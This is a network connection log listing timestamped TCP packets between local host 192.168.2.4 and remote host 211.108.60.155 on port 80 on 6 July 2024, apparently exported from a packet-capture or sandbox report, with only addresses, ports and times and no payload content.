Jul 6, 2024 14:10:11.399796963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.399812937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.399841070 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.399873972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.399907112 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.399930000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.399939060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.399960041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400079966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400110960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400120020 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400146008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400350094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400357962 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400382042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400398016 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400423050 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400430918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400450945 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400464058 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400495052 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400526047 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400583029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400592089 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400600910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400609970 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400624990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400638103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400679111 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400711060 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400765896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400794983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400856972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400865078 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.400887966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.400902033 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401035070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401043892 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401068926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401082993 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401135921 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401158094 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401166916 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401186943 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401201010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401211977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401232004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401248932 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401315928 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401369095 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401385069 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401406050 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401416063 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401424885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401443958 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401462078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401590109 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401619911 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.401624918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.401643038 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.592176914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.592236042 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.592303991 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.592338085 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593452930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593468904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593485117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593493938 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593497038 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593508005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593514919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593518972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593528032 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593528986 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593538046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593585014 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593594074 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593599081 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593604088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593615055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593620062 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593622923 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593633890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593636990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593643904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593652964 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593662977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593673944 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593674898 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593683958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593688965 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593702078 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593723059 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593725920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593736887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593745947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593753099 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593761921 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593775988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593905926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593915939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593925953 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.593943119 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.593967915 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594270945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594280958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594290972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594301939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594316006 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594333887 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594445944 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594455957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594465971 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594477892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594492912 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594512939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594587088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594598055 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594638109 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594821930 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594830990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594851017 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594863892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594888926 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594897985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.594923019 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.594934940 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595223904 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595233917 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595244884 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595257044 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595263004 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595267057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595284939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595304966 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595393896 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595403910 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595412970 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595427990 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595436096 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595449924 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595546007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595556974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595575094 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595591068 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595906019 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595922947 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595932961 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595942974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.595947981 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595971107 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.595978975 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596052885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596067905 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596080065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596086025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596092939 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596113920 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596215010 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596224070 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596234083 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596252918 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596268892 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596450090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596458912 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596487045 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596498013 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596632004 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596661091 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596755028 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596777916 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596784115 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596788883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596797943 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596807003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596808910 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596817017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596820116 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596826077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596836090 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596841097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596846104 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596856117 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596864939 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596874952 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596880913 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596883059 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596892118 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596898079 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596901894 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596910000 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596919060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596920967 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596926928 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596930027 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.596946001 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.596962929 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.783998966 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784014940 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784033060 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784046888 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784059048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784065008 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784069061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784080029 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784089088 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784101963 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784126043 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784177065 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784204960 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784231901 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784240007 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784250021 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784260988 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784274101 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784296989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784357071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784390926 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784472942 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784496069 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784502983 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784504890 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784521103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784538031 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784547091 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784562111 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784579039 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784739017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784748077 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784774065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784785986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784795046 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784816027 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784841061 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784907103 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784915924 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.784931898 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.784950018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.787094116 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787127018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.787134886 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787144899 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787163973 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.787179947 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.787271023 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787281990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787292957 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787303925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787308931 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.787324905 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.787353992 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.787425995 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.787456989 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794265985 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794275045 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794281006 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794313908 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794380903 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794389963 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794399977 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794409990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794414997 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794435024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794583082 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794629097 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794696093 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794704914 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794713974 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794724941 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794739962 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794754028 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794883013 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794892073 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.794912100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.794939041 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795006990 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795023918 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795034885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795041084 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795059919 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795104980 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795114040 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795131922 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795160055 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795239925 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795273066 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795377016 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795406103 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795420885 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795449972 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795461893 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795471907 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795490980 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795509100 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795774937 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795789003 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795799017 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.795804024 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795819044 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.795835018 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796016932 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796026945 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796036005 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796051025 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796068907 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796215057 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796250105 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796253920 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796264887 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796291113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796303034 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796607018 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796627998 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796638012 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796642065 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796659946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796677113 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796910048 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796920061 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796930075 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.796947002 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.796962023 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.797019958 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.797029972 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.797039986 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.797045946 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.797079086 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.797108889 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.797142029 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.797208071 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.797243118 CEST	49732	80	192.168.2.4	211.108.60.155
Jul 6, 2024 14:10:11.985833883 CEST	80	49732	211.108.60.155	192.168.2.4
Jul 6, 2024 14:10:11.985882998 CEST	80	49732	211.108.60.155	192.168.2.4
